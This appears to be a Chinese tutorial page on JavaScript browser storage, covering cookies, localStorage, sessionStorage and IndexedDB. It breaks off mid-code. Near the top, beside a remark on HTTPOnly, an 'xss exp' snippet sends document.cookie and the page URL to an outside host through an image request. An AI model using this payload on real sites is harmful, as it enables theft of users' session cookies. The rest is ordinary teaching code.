js存储Storage及cookie

Storage

  • xss 攻击

xss 攻击

// HTTPOnly 为true 时,document.cookie不可浏览 防止xss 攻击

  xss exp:
  url=document.top.location.href;
  cookie=document.cookie;
  c=new Image();
  c.src=’http://www.loveshell.net/c.php?c=+cookie+&u=+url;

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <script>

        // cookie 谷歌浏览 本地服务(新规)  chrome://flags/    same-site
        function set(c_name, value, expiredays) {
            var exdate = new Date();
            exdate.setDate(exdate.getDate() + expiredays); //setDate设置天
            // escape 特殊符号编码 unescape
            document.cookie = c_name + "=" + escape(value) + ";expires = " + exdate.toGMTString() + ";path = /;";
        }
        set('name', 'zs!', 7)
        function setCookie(name, value) {
            var Days = 30;
            var exp = new Date();
            exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
            // expires 时间戳 或者年月日时间
            document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();
        }
        setCookie('name1', 'lis')
        function getCookie(name) {
            var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
            if (arr = document.cookie.match(reg))
                return unescape(arr[2]);
            else
                return null;
        }
        console.log(getCookie('name'), getCookie('name1'))
        // 删除 设置过期时间就行


        //写入a字段
        localStorage["a"] = 1;
        //写入b字段
        localStorage.b = 2;
        //写入c字段
        localStorage.setItem("c", 3);

        //第一种方法读取
        console.log(localStorage["a"]);
        //第二种方法读取
        console.log(localStorage.b);
        //第三种方法读取
        console.log(localStorage.getItem("c"));

        delete localStorage.b //删除对象

        localStorage.removeItem("a");
        console.log(localStorage,'localStorage------------')

        // localStorage.clear(); //清空


        // 保存数据到sessionStorage
        sessionStorage.setItem('key', 'value');
        sessionStorage.setItem('key1', 'value1');

        console.log(sessionStorage,'sessionStorage---------')

        // 从sessionStorage获取数据
        var data = sessionStorage.getItem('key');

        // 从sessionStorage删除保存的数据
        sessionStorage.removeItem('key');

        // 从sessionStorage删除所有保存的数据
        // sessionStorage.clear();

    </script>
</body>

</html>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Page Title</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
    <script>
       //localStorage 不手动删除永久保存 5M 可以跨域

        // localStorage存储方法(sessionStorage类似)
        // localStorage.name =’vanida;
        // localStorage[“name”]=’vanida’;
        // localStorage.setItem(“name”, ”vanida”);
        // //这三种设置值方式是一样的; 
        // localStorage获取值方法
        // var name = localStorage[“name”]
        // var name = localStorage.name
        // var name= localStorage.getItem(“name”);
        // //这三种获取值方式是一样的; 
        // localStorage清除特定值方法
        // //清除name的值 
        // localStorage.removeItem(“name”);
        // localStorage.name=”;
        // localStorage清除所有值方法
        // localStorage.clear()
      
        // 1.localStorage - 没有时间限制的数据存储
        var arr = [1, 2, 3];
        localStorage.setItem("temp", arr); //存入 参数: 1.调用的值 2.所要存入的数据 
        console.log(localStorage.getItem("temp"));//输出
        //  2.清空localStorage
        //   localStorage.clear(); //
        //  3.删除键值对
        localStorage.removeItem("temp");
        //   注意:存入的数据只能以字符串形式存入。


        // 三.提供转JOSN数据方法:

        //   //JSON对象转JSON字符串
        var obj = { "a": 1, "b": 2 };
        obj = JSON.stringify(obj); //转化为JSON字符串
        localStorage.setItem("temp2", obj);

        //   //JSON字符串转JSON对象
        obj = JSON.parse(localStorage.getItem("temp2"));
        console.log(obj)

    </script>
</body>

</html>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Page Title</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
    <script>
        //sessionstorage 保存当前回话 不能跨域  同源策略限制。若想在不同页面之间对同一个sessionStorage进行操作,这些页面必须在同一协议、同一主机名和同一端口下。
        //(IE 8和9存储数据仅基于同一主机名,忽略协议(HTTP和HTTPS)和端口号的要求)
        // 1、接口
        // sessionStorage.getItem(key)----获取指定key的本地存储的值
        // sessionStorage.setItem(key, value)----将value存储到key字段中
        // sessionStorage.removeItem(key)----删除指定ke的本地存储的值
        // sessionStorage.length----sessionStorage的项目数
        /*
        sessionStorage和localStorage都支持key()和length
        */

        // var storage = window.localStorage,
        //     i,
        //     len = storage.length;
        // console.log(storage)
        // for (i = 0; i < len; i++) {
        //     var key = storage.key(i); //字符串 获取key值
        //     var value = storage.getItem(key);
        //     console.log(key + '=' + value);
        // }
        /*
        清空本地存储的数据
        */
        //localStorage.clear(); //----删除所有同源的本地存储的localStorage数据

        //sessionStorage.clear();// ----只清空当前会话存储的数据


        //sessionStorage localstorage的json数据合并 以sessionStoreage为例
        sessionStorage.setItem("name", 'zs')
        sessionStorage.setItem("age", '18')
        sessionStorage.setItem("sex", '女')
        console.log(sessionStorage)
        var obj = {};
        var obj1 = Object.assign(obj, sessionStorage)
        console.log(obj)
        console.log(obj1)
    </script>
</body>

</html>

初识cookie

  • xss 攻击

<html>

<head>

    <script type="text/javascript">

        function getCookie(c_name) {

            if (document.cookie.length > 0) {

                c_start = document.cookie.indexOf(c_name + "=")

                if (c_start != -1) {

                    c_start = c_start + c_name.length + 1

                    c_end = document.cookie.indexOf(";", c_start)

                    if (c_end == -1) c_end = document.cookie.length

                    return unescape(document.cookie.substring(c_start, c_end))

                }

            }

            return ""

        }



        function setCookie(c_name, value, expiredays) {

            var exdate = new Date()

            exdate.setDate(exdate.getDate() + expiredays)

            document.cookie = c_name + "=" + escape(value) +

                ((expiredays == null) ? "" : ";expires=" + exdate.toGMTString())

        }



        function checkCookie() {

            username = getCookie('username')

            if (username != null && username != "") { alert('Welcome again ' + username + '!') }

            else {

                username = prompt('Please enter your name:', "")

                if (username != null && username != "") {

                    setCookie('username', username, 365)

                }

            }

        }

    </script>

</head>



<body onLoad="checkCookie()">

</body>

</html>

cookie进阶

  • xss 攻击

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Page Title</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
    <script>
        // Cookie基础用法 http://www.cnblogs.com/Darren_code/archive/2011/11/24/Cookie.html

        //   一.简单的存取操作 //COOKies 字符串类型 要进行截窜处理 40k左右 没有设置过期时间 是会话当前

        //   在使用JavaScript存取 cookie 时,必须要使用Document对象的 cookie 属性;一行代码介绍如何创建和修改一个 cookie :

        //   document.cookie = 'username=Darren'
        //   以上代码中'username'表示 cookie 名称,'Darren'表示这个名称对应的值。假设 cookie 名称并不存在,那么就是创建一个新的 cookie;如果存在就是修改了这个 cookie 名称对应的值。如果要多次创建 cookie ,重复使用这个方法即可。



        //   二.cookie的读取操作

        //   要精确的对 cookie 进行读取其实很简单,就是对字符串进行操作。从w3school上copy这段代码来做分析:

        // 复制代码
        // function getCookie(c_name) {
        //         if (document.cookie.length > 0) {  //先查询cookie是否为空,为空就return ""
        //               c_start = document.cookie.indexOf(c_name + "=")  //通过String对象的indexOf()来检查这个cookie是否存在,不存在就为 -1  
        //               if (c_start != -1) {
        //                     c_start = c_start + c_name.length + 1  //最后这个+1其实就是表示"="号啦,这样就获取到了cookie值的开始位置
        //                     c_end = document.cookie.indexOf(";", c_start)  //其实我刚看见indexOf()第二个参数的时候猛然有点晕,后来想起来表示指定的开始索引的位置...这句是为了得到值的结束位置。因为需要考虑是否是最后一项,所以通过";"号是否存在来判断
        //                     if (c_end == -1) c_end = document.cookie.length
        //                     return unescape(document.cookie.substring(c_start, c_end))  //通过substring()得到了值。想了解unescape()得先知道escape()是做什么的,都是很重要的基础,想了解的可以搜索下,在文章结尾处也会进行讲解cookie编码细节
        //               }
        //         }
        //         return ""
        //   }
        // 复制代码
        //   当然想实现读取cookie的方法还有不少,比如数组,正则等,这里就不往细说了。



        //   三.设置cookie的有效期

        //   文章中常常出现的 cookie 的生命周期也就是有效期和失效期,即 cookie 的存在时间。在默认的情况下,cookie 会在浏览器关闭的时候自动清除,但是我们可以通过expires来设置 cookie 的有效期。语法如下:

        //   document.cookie = "name=value;expires=date"
        //   上面代码中的date值为GMT(格林威治时间)格式的日期型字符串,生成方式如下:

        //   var _date = new Date();
        //   _date.setDate(_date.getDate() + 30);
        //   _date.toGMTString();
        //   上面三行代码分解为几步来看:

        // 通过new生成一个Date的实例,得到当前的时间;
        // getDate()方法得到当前本地月份中的某一天,接着加上30就是我希望这个cookie能过在本地保存30天;
        // 接着通过setDate()方法来设置时间;
        // 最后 用toGMTString()方法把Date对象转换为字符串,并返回结果
        //   通过下面这个完整的函数来说明在创建 cookie 的过程中我们需要注意的地方 - 从w3school复制下来的。创建一个在 cookie 中存储信息的函数:

        // 复制代码
        // 1  function setCookie(c_name, value, expiredays) {
        //     2     var exdate = new Date();
        //     3     exdate.setDate(exdate.getDate() + expiredays);
        //     4     document.cookie = c_name + "=" + escape(value) + ((expiredays == null) ? "" : ";expires=" + exdate.toGMTString());
        //     5
        // }
        // 6   使用方法:setCookie('username', 'Darren', 30)
        // 复制代码
        //   现在我们这个函数是按照天数来设置cookie的有效时间,如果想以其他单位(如:小时)来设置,那么改变第三行代码即可:

        //   exdate.setHours(exdate.getHours() + expiredays);
        //   这样设置以后的cookie有效期就是按照小时为单位的。

        //   常见问题中有提到清除 cookie 的两种方法,现在要说的是使 cookie 失效,通过把有效期的时间设置为一个已过期的时间。既然已经有了设置有效期的方法,那么设置失效期的方法就请感兴趣的朋友自己动手了 ^ _ ^。下面继续比较深的cookie话题。



        //   Cookie 高级篇

        //   一.cookie 路径概念

        //   在基础知识中有提到 cookie 有域和路径的概念,现在来介绍路径在 cookie 中的作用。

        //   cookie 一般都是由于用户访问页面而被创建的,可是并不是只有在创建 cookie 的页面才可以访问这个 cookie。

        //   默认情况下,只有与创建 cookie 的页面在同一个目录或子目录下的网页才可以访问,这个是因为安全方面的考虑,造成不是所有页面都可以随意访问其他页面创建的 cookie。举个例子:

        //   在 "http://www.cnblogs.com/Darren_code/" 这个页面创建一个cookie,那么在"/Darren_code/"这个路径下的页面如: "http://www.cnblogs.com/Darren_code/archive/2011/11/07/Cookie.html"这个页面默认就能取到cookie信息。

        //   可在默认情况下, "http://www.cnblogs.com"或者 "http://www.cnblogs.com/xxxx/" 就不可以访问这个 cookie(光看没用,实践出真理 ^ _ ^)。

        //   那么如何让这个 cookie 能被其他目录或者父级的目录访问类,通过设置 cookie 的路径就可以实现。例子如下:

        //   document.cookie = "name=value;path=path"
        //   document.cookie = "name=value;expires=date;path=path"
        // 红色字体path就是 cookie 的路径,最常用的例子就是让 cookie 在跟目录下, 这样不管是哪个子页面创建的 cookie,所有的页面都可以访问到了:

        //   document.cookie = "name=Darren;path=/"


        //   二.cookie 域概念

        //   路径能解决在同一个域下访问 cookie 的问题,咱们接着说 cookie 实现同域之间访问的问题。语法如下:

        //   document.cookie = "name=value;path=path;domain=domain"
        //   红色的domain就是设置的 cookie 域的值。

        //   例如 "www.qq.com" 与 "sports.qq.com" 公用一个关联的域名"qq.com",我们如果想让 "sports.qq.com" 下的cookie被 "www.qq.com" 访问,我们就需要用到 cookie 的domain属性,并且需要把path属性设置为 "/"。例:

        //   document.cookie = "username=Darren;path=/;domain=qq.com"
        //   注:一定的是同域之间的访问,不能把domain的值设置成非主域的域名。



        //   三.cookie 安全性

        //   通常 cookie 信息都是使用HTTP连接传递数据,这种传递方式很容易被查看,所以 cookie 存储的信息容易被窃取。假如 cookie 中所传递的内容比较重要,那么就要求使用加密的数据传输。

        //   所以 cookie 的这个属性的名称是“secure”,默认的值为空。如果一个 cookie 的属性为secure,那么它与服务器之间就通过HTTPS或者其它安全协议传递数据。语法如下:

        //   document.cookie = "username=Darren;secure"
        //   把cookie设置为secure,只保证 cookie 与服务器之间的数据传输过程加密,而保存在本地的 cookie文件并不加密。如果想让本地cookie也加密,得自己加密数据。

        //   注:就算设置了secure 属性也并不代表他人不能看到你机器本地保存的 cookie 信息,所以说到底,别把重要信息放cookie就对了,囧...



        //   四.cookie 编码细节

        //   原本来想在常见问题那段介绍cookie编码的知识,因为如果对这个不了解的话编码问题确实是一个坑,所以还是详细说说。

        //   在输入cookie信息时不能包含空格,分号,逗号等特殊符号,而在一般情况下,cookie 信息的存储都是采用未编码的方式。所以,在设置 cookie 信息以前要先使用escape()函数将 cookie 值信息进行编码,在获取到 cookie 值得时候再使用unescape()函数把值进行转换回来。如设置cookie时:

        //   document.cookie = name + "=" + escape(value)
        //   再看看基础用法时提到过的getCookie()内的一句:

        //   return unescape(document.cookie.substring(c_start, c_end))
        //   这样就不用担心因为在cookie值中出现了特殊符号而导致 cookie 信息出错了。
        // cookies 的基本语法
        var millisecond = new Date().getTime();
        var expiresTime = new Date(millisecond + 60 * 1000 * 15)
        document.cookie = 'name=zs;expires =' + expiresTime

        var date = new Date();
        date.setDate(date.getDate() + 1);
        document.cookie = "sex=男; expires=" + date + ";path=http://www1.pclady.com.cn/zt/20160623/testCookie.html";
        console.log(decodeURI('%E6%9C%AC%E5%9C%B0%E5%AD%98%E5%82%A8'))

        document.cookie = "name1=value;expires=" + date + ";path=/" //斜杠路径下可以访问
        document.cookie = "username=Darren;path=/;domain=.com"//有本网站打开的 域名

        //复杂的cookies 操作
        function SetCookie(name, value) {
            var key = '';
            var Days = 2;
            var exp = new Date();
            var domain = "";
            exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
            if (key == null || key == "") {
                document.cookie = name + "=" + encodeURI(value) + ";expires=" + exp.toGMTString() + ";path=/;domain=" + domain + ";";
            }
            else {
                var nameValue = GetCookie(name);
                if (nameValue == "") {
                    document.cookie = name + "=" + key + "=" + encodeURI(value) + ";expires=" + exp.toGMTString() + ";path=/;domain=" + domain + ";";
                }
                else {
                    var keyValue = GetCookie(name, key);
                    if (keyValue != "") {
                        nameValue = nameValue.replace(key + "=" + keyValue, key + "=" + encodeURI(value));
                        document.cookie = name + "=" + nameValue + ";expires=" + exp.toGMTString() + ";path=/;domain=" + domain + ";";
                    }
                    else {
                        document.cookie = name + "=" + nameValue + "&" + key + "=" + encodeURI(value) + ";expires=" + exp.toGMTString() + ";path=/;" + domain + ";";
                    }
                }
            }
        }

        function GetCookie(name) {
            var nameValue = "";
            var key = "";
            var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
            if (arr = document.cookie.match(reg)) {
                nameValue = decodeURI(arr[2]);
            }
            if (key != null && key != "") {
                reg = new RegExp("(^| |&)" + key + "=([^(;|&|=)]*)(&|$)");
                if (arr = nameValue.match(reg)) {
                    return decodeURI(arr[2]);
                }
                else return "";
            }
            else {
                return nameValue;
            }
        }

        //简单cookies操作
        function setCookie(c_name, value, expiredays) {
            var exdate = new Date()
            exdate.setDate(exdate.getDate() + expiredays)
            document.cookie = c_name + "=" + escape(value) +
                ((expiredays == null) ? "" : ";expires=" + exdate.toGMTString())
        }

        //cookies 自己封装
        function setCookie(key, value, day) {
            if (day == undefined) {
                document.cookie = key + "=" + value;
            } else {
                var date = new Date();
                date.setDate(date.getDate() + day);
                document.cookie = key + "=" + value + "; expires=" + date;
            }

        }
        setCookie("color", "green", 3);
        setCookie("name", "lisi", 3);
        setCookie("age", "18", 3);

        function getCookie(key) {
            var cookieString = document.cookie;
            var arrM = cookieString.split("; ");
            for (var i = 0; i < arrM.length; i++) {
                var arr = arrM[i].split("=");
                //["name","zhangsan"]
                //["age",18]
                if (key === arr[0]) {
                    return arr[1];
                }

            }
            //console.log(arrM);
        }

        //console.log(getCookie("age"));

        function delCookie(key) {
            //删除数据-->
            setCookie(key, "", -1);
        }

        //delCookie("age");

        function clearCookie() {
            var arrKey = getKeys();
            for (var i = 0; i < arrKey.length; i++) {
                delCookie(arrKey[i]);
            }
        }

        //clearCookie();

        function getKeys() {
            var cookieString = document.cookie;
            var arrM = cookieString.split("; ");
            var arrKey = [];
            for (var i = 0; i < arrM.length; i++) {
                var arr = arrM[i].split("=");
                if (arr[0]) arrKey.push(arr[0])
            }
            return arrKey;
        }
    </script>
</body>

</html>

indexedDB案例

  • xss 攻击

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Page Title</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">

</head>

<body>
    <script>
        const dbName = "test";
        const dbVersion = 1;

        export default {
            // indexedDB兼容
            indexedDB:
                window.indexedDB ||
                window.webkitindexedDB ||
                window.msIndexedDB ||
                window.mozIndexedDB,
            //name:表名  key:主键 ,cursorIndex 索引
            store: {
                teacher: {
                    name: "teacher",
                    key: "id",
                    cursorIndex: [{ name: "teachNum", unique: false }]
                },
                student: {
                    name: "student",
                    key: "id",
                    cursorIndex: [{ name: "stuNum", unique: false }]
                }
            },
            async initDB() {
                let that = this;
                let request = this.indexedDB.open(dbName, dbVersion);
                request.onerror = function () {
                    console.log("打开数据库失败");
                };

                request.onsuccess = function () {
                    console.log("打开数据库成功");
                };
                request.onupgradeneeded = function (event) {
                    let db = event.target.result;
                    for (var t in that.store) {
                        if (!db.objectStoreNames.contains(that.store[t].name)) {
                            var objectStore = db.createObjectStore(that.store[t].name, {
                                keyPath: that.store[t].key,
                                autoIncrement: true
                            });
                            for (let i = 0; i < that.store[t].cursorIndex.length; i++) {
                                const element = that.store[t].cursorIndex[i];
                                objectStore.createIndex(element.name, element.name, {
                                    unique: element.unique
                                });
                            }
                        }
                    }
                };
            },
            // 打开数据库
            openDB: function () {
                return new Promise((resolve, reject) => {
                    let request = this.indexedDB.open(dbName, dbVersion);

                    request.onerror = function (event) {
                        reject("IndexedDB数据库打开错误," + event);
                    };
                    request.onsuccess = function (event) {
                        resolve(event.target.result);
                    };
                });
            },
            // 删除表
            deleteDB: function (table) {
                let deleteQuest = this.indexedDB.deleteDatabase(table);
                deleteQuest.onerror = function () {
                    return Promise.resolve(false);
                };
                deleteQuest.onsuccess = function () {
                    return Promise.resolve(true);
                };
            },
            // 关闭数据库
            closeDB: async function (db) {
                try {
                    let d;
                    if (!db) {
                        d = await this.openDB();
                    }
                    let closeQuest = d.closeDB();
                    return new Promise(resolve => {
                        closeQuest.onerror = function () {
                            resolve(false);
                        };
                        closeQuest.onsuccess = function () {
                            resolve(true);
                        };
                    });
                } catch (error) {
                    return Promise.resolve(false);
                }
            },
            // 添加数据,add添加新值
            insert: async function (table, data) {
                try {
                    let db = await this.openDB();
                    let request = db
                        .transaction(table.name, "readwrite")
                        .objectStore(table.name)
                        .add(data);

                    return new Promise((resolve, reject) => {
                        request.onerror = function () {
                            reject("添加数据出错");
                        };
                        request.onsuccess = function () {
                            resolve(true);
                        };
                    });
                } catch (error) {
                    console.log(error);
                    return Promise.resolve(false);
                }
            },
            // 更新
            update: async function (table, data) {
                try {
                    let db = await this.openDB();
                    let request = db
                        .transaction(table.name, "readwrite")
                        .objectStore(table.name)
                        .put(data);
                    return new Promise(resolve => {
                        request.onerror = function () {
                            resolve(false);
                        };
                        request.onsuccess = function () {
                            resolve(true);
                        };
                    });
                } catch (error) {
                    return Promise.resolve(false);
                }
            },
            // 删除数据
            delete: async function (table, keyValue) {
                try {
                    let db = await this.openDB();
                    let request = db
                        .transaction(table.name, "readwrite")
                        .objectStore(table.name)
                        .delete(keyValue);
                    return new Promise(resolve => {
                        request.onerror = function () {
                            resolve(false);
                        };
                        request.onsuccess = function () {
                            resolve(true);
                        };
                    });
                } catch (error) {
                    return Promise.resolve(false);
                }
            },
            // 清空数据
            clear: async function (table) {
                let db = await this.openDB();
                let store = db.transaction(table.name, "readwrite").objectStore(table.name);
                store.clear();
            },
            // 查询数据 表名 索引值 索引 key  没有value key为key 而不是索引
            get: async function (table, keyValue, indexCursor) {
                try {
                    let db = await this.openDB();
                    let store = db
                        .transaction(table.name, "readonly")
                        .objectStore(table.name);
                    let request;
                    request = !keyValue
                        ? store.openCursor()
                        : indexCursor
                            ? store.index(indexCursor).get(keyValue)
                            : store.get(keyValue);
                    let data = [];
                    return new Promise(resolve => {
                        request.onerror = function () {
                            resolve("查询数据失败");
                        };
                        request.onsuccess = function (event) {
                            if (!keyValue && !indexCursor) {
                                if (event.target.result) {
                                    data.push(event.target.result.value);
                                    event.target.result.continue();
                                } else {
                                    resolve(data);
                                }
                            } else {
                                resolve([event.target.result]);
                            }
                        };
                    });
                } catch (error) {
                    return Promise.reject(error);
                }
            },
            //   通过游标操作数据, callback中要有游标移动方式
            handleDataByCursor: async function (table, keyRange) {
                try {
                    let kRange = keyRange || "";
                    let db = await this.openDB();
                    let store = db.transaction(table, "readwrite").objectStore(table),
                        request;
                    request = store.openCursor(kRange);
                    return new Promise(resolve => {
                        request.onerror = function () {
                            resolve("通过游标获取数据报错");
                        };
                        request.onsuccess = function (event) {
                            let cursor = event.target.result;
                            resolve(cursor);
                        };
                    });
                } catch (error) {
                    return Promise.reject(error);
                }
            },
            // 通过索引游标操作数据, callback中要有游标移动方式
            handleDataByIndex: async function (table, keyRange, sursorIndex) {
                try {
                    let kRange = keyRange || "";
                    let db = await this.openDB();
                    let store = db.transaction(table, "readwrite").objectStore(table),
                        request;
                    request = store.index(sursorIndex).openCursor(kRange);
                    return new Promise(resolve => {
                        request.onerror = function () {
                            resolve("通过索引游标获取数据报错");
                        };
                        request.onsuccess = function (event) {
                            let cursor = event.target.result;
                            if (cursor) {
                                resolve(cursor);
                            }
                        };
                    });
                } catch (error) {
                    return Promise.reject(error);
                }
            },
            // 创建游标索引
            createCursorIndex: async function (table, cursorIndex, unique) {
                var db = await this.openDB();
                let store = db.transaction(table, "readwrite").objectStore(table);
                store.createIndex(cursorIndex, cursorIndex, {
                    unique: unique
                });
                return Promise.resolve();
            }
        };
    </script>
</body>

</html>

indexedDB

  • xss 攻击

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Page Title</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
    <!-- <script>
        IndexedDB 是一个比较复杂的 API,涉及不少概念。它把不同的实体,抽象成一个个对象接口。学习这个 API,就是学习它的各种对象接口。

        数据库:IDBDatabase 对象
        对象仓库:IDBObjectStore 对象
        索引: IDBIndex 对象
        事务: IDBTransaction 对象
        操作请求:IDBRequest 对象
        指针: IDBCursor 对象
        主键集合:IDBKeyRange 对象
        下面是一些主要的概念。

        (1)数据库

        数据库是一系列相关数据的容器。每个域名(严格的说,是协议 + 域名 + 端口)都可以新建任意多个数据库。

        IndexedDB 数据库有版本的概念。同一个时刻,只能有一个版本的数据库存在。如果要修改数据库结构(新增或删除表、索引或者主键),只能通过升级数据库版本完成。

        (2)对象仓库

        每个数据库包含若干个对象仓库(object store)。它类似于关系型数据库的表格。

        (3)数据记录

        对象仓库保存的是数据记录。每条记录类似于关系型数据库的行,但是只有主键和数据体两部分。主键用来建立默认的索引,必须是不同的,否则会报错。主键可以是数据记录里面的一个属性,也可以指定为一个递增的整数编号。


        { id: 1, text: 'foo' }
        上面的对象中,id属性可以当作主键。

        数据体可以是任意数据类型,不限于对象。

        (4)索引

        为了加速数据的检索,可以在对象仓库里面,为不同的属性建立索引。

        (5)事务

        数据记录的读写和删改,都要通过事务完成。事务对象提供error、abort和complete三个事件,用来监听操作结果。

        三、操作流程
        IndexedDB 数据库的各种操作,一般是按照下面的流程进行的。这个部分只给出简单的代码示例,用于快速上手,详细的各个对象的 API 请看这里。

        3.1 打开数据库
        使用 IndexedDB 的第一步是打开数据库,使用indexedDB.open()方法。


        var request = window.indexedDB.open(databaseName, version);
        这个方法接受两个参数,第一个参数是字符串,表示数据库的名字。如果指定的数据库不存在,就会新建数据库。第二个参数是整数,表示数据库的版本。如果省略,打开已有数据库时,默认为当前版本;新建数据库时,默认为1。

        indexedDB.open()方法返回一个 IDBRequest 对象。这个对象通过三种事件error、success、upgradeneeded,处理打开数据库的操作结果。

        (1)error 事件

        error事件表示打开数据库失败。


        request.onerror = function (event) {
            console.log('数据库打开报错');
        };2)success 事件

        success事件表示成功打开数据库。


        var db;

        request.onsuccess = function (event) {
            db = request.result;
            console.log('数据库打开成功');
        };
        这时,通过request对象的result属性拿到数据库对象。

        (3)upgradeneeded 事件

        如果指定的版本号,大于数据库的实际版本号,就会发生数据库升级事件upgradeneeded。


        var db;

        request.onupgradeneeded = function (event) {
            db = event.target.result;
        }
        这时通过事件对象的target.result属性,拿到数据库实例。

        3.2 新建数据库
        新建数据库与打开数据库是同一个操作。如果指定的数据库不存在,就会新建。不同之处在于,后续的操作主要在upgradeneeded事件的监听函数里面完成,因为这时版本从无到有,所以会触发这个事件。

        通常,新建数据库以后,第一件事是新建对象仓库(即新建表)。


        request.onupgradeneeded = function (event) {
            db = event.target.result;
            var objectStore = db.createObjectStore('person', { keyPath: 'id' });
        }
        上面代码中,数据库新建成功以后,新增一张叫做person的表格,主键是id。

        更好的写法是先判断一下,这张表格是否存在,如果不存在再新建。


        request.onupgradeneeded = function (event) {
            db = event.target.result;
            var objectStore;
            if (!db.objectStoreNames.contains('person')) {
                objectStore = db.createObjectStore('person', { keyPath: 'id' });
            }
        }
        主键(key)是默认建立索引的属性。比如,数据记录是{ id: 1, name: '张三' } ,那么id属性可以作为主键。主键也可以指定为下一层对象的属性,比如{ foo: { bar: 'baz' } } 的foo.bar也可以指定为主键。

        如果数据记录里面没有合适作为主键的属性,那么可以让 IndexedDB 自动生成主键。


        var objectStore = db.createObjectStore(
            'person',
            { autoIncrement: true }
        );
        上面代码中,指定主键为一个递增的整数。

        新建对象仓库以后,下一步可以新建索引。


        request.onupgradeneeded = function (event) {
            db = event.target.result;
            var objectStore = db.createObjectStore('person', { keyPath: 'id' });
            objectStore.createIndex('name', 'name', { unique: false });
            objectStore.createIndex('email', 'email', { unique: true });
        }
        上面代码中,IDBObject.createIndex()的三个参数分别为索引名称、索引所在的属性、配置对象(说明该属性是否包含重复的值)。

        3.3 新增数据
        新增数据指的是向对象仓库写入数据记录。这需要通过事务完成。


        function add() {
            var request = db.transaction(['person'], 'readwrite')
                .objectStore('person')
                .add({ id: 1, name: '张三', age: 24, email: '[email protected]' });

            request.onsuccess = function (event) {
                console.log('数据写入成功');
            };

            request.onerror = function (event) {
                console.log('数据写入失败');
            }
        }

        add();
        上面代码中,写入数据需要新建一个事务。新建时必须指定表格名称和操作模式("只读""读写")。新建事务以后,通过IDBTransaction.objectStore(name)方法,拿到 IDBObjectStore 对象,再通过表格对象的add()方法,向表格写入一条记录。

        写入操作是一个异步操作,通过监听连接对象的success事件和error事件,了解是否写入成功。

        3.4 读取数据
        读取数据也是通过事务完成。


        function read() {
            var transaction = db.transaction(['person']);
            var objectStore = transaction.objectStore('person');
            var request = objectStore.get(1);

            request.onerror = function (event) {
                console.log('事务失败');
            };

            request.onsuccess = function (event) {
                if (request.result) {
                    console.log('Name: ' + request.result.name);
                    console.log('Age: ' + request.result.age);
                    console.log('Email: ' + request.result.email);
                } else {
                    console.log('未获得数据记录');
                }
            };
        }

        read();
        上面代码中,objectStore.get()方法用于读取数据,参数是主键的值。

        3.5 遍历数据
        遍历数据表格的所有记录,要使用指针对象 IDBCursor。


        function readAll() {
            var objectStore = db.transaction('person').objectStore('person');

            objectStore.openCursor().onsuccess = function (event) {
                var cursor = event.target.result;

                if (cursor) {
                    console.log('Id: ' + cursor.key);
                    console.log('Name: ' + cursor.value.name);
                    console.log('Age: ' + cursor.value.age);
                    console.log('Email: ' + cursor.value.email);
                    cursor.continue();
                } else {
                    console.log('没有更多数据了!');
                }
            };
        }

        readAll();
        上面代码中,新建指针对象的openCursor()方法是一个异步操作,所以要监听success事件。

        3.6 更新数据
        更新数据要使用IDBObject.put()方法。


        function update() {
            var request = db.transaction(['person'], 'readwrite')
                .objectStore('person')
                .put({ id: 1, name: '李四', age: 35, email: '[email protected]' });

            request.onsuccess = function (event) {
                console.log('数据更新成功');
            };

            request.onerror = function (event) {
                console.log('数据更新失败');
            }
        }

        update();
        上面代码中,put()方法自动更新了主键为1的记录。

        3.7 删除数据
        IDBObjectStore.delete()方法用于删除记录。


        function remove() {
            var request = db.transaction(['person'], 'readwrite')
                .objectStore('person')
                .delete(1);

            request.onsuccess = function (event) {
                console.log('数据删除成功');
            };
        }

        remove();
        3.8 使用索引
        索引的意义在于,可以让你搜索任意字段,也就是说从任意字段拿到数据记录。如果不建立索引,默认只能搜索主键(即从主键取值)。

        假定新建表格的时候,对name字段建立了索引。


        objectStore.createIndex('name', 'name', { unique: false });
        现在,就可以从name找到对应的数据记录了。


        var transaction = db.transaction(['person'], 'readonly');
        var store = transaction.objectStore('person');
        var index = store.index('name');
        var request = index.get('李四');

        request.onsuccess = function (e) {
            var result = e.target.result;
            if (result) {
                // ...
            } else {
                // ...
            }
        } -->
    </script>
</body>

</html>

localStorageexample

  • xss 攻击

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Page Title</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script src="./jquery-1.5.1.js" type="text/javascript"></script>
    <script type="text/javascript">
        function initDatabase() {
            var db = getCurrentDb();//初始化数据库
            if (!db) { alert("您的浏览器不支持HTML5本地数据库"); return; }
            db.transaction(function (trans) {//启动一个事务,并设置回调函数
                //执行创建表的Sql脚本
                trans.executeSql("create table if not exists Demo(uName text null,title text null,words text null)", [], function (trans, result) {
                }, function (trans, message) {//消息的回调函数alert(message);});
                }, function (trans, result) {
                }, function (trans, message) {
                });
            });
        }
        
        $(function () {//页面加载完成后绑定页面按钮的点击事件
                    initDatabase();
                    $("#btnSave").click(function () {
